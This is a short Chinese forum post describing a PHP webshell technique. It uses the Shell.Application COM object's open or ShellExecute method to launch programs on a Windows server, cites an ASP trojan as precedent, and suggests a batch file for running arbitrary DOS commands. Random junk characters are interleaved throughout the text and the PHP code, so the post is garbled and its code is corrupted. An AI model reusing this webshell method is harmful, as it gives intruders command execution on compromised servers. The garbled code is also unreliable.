关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
0 Y$ j9 p: N' ?! V& O$ n) u I9 f C- f# Y, ?- `1 x
今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法1 j; y& J7 K7 U* R# |, k
! N5 S' R7 u9 X3 K4 r% S% ^( {" V
<?php; X6 [0 T) n8 `. e% g6 o* [
$wsh = new COM('Shell.Application') or die("Shell.Application");
+ r7 Z9 C' J8 Q: x0 w $exec = $wsh->open("c:\\windows\\system32\\notepad.exe");
{/ Y7 h) r, J- a! v0 I //没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。+ b9 |/ ?1 I% V6 f4 i, _
?>/ \0 y! H' c) ]0 K i
P) F8 G+ y* w0 r0 r" X+ [- {6 Lxp+APMServ5.2.0测试通过。+ K. i2 X; O) b+ k: S5 `% b
|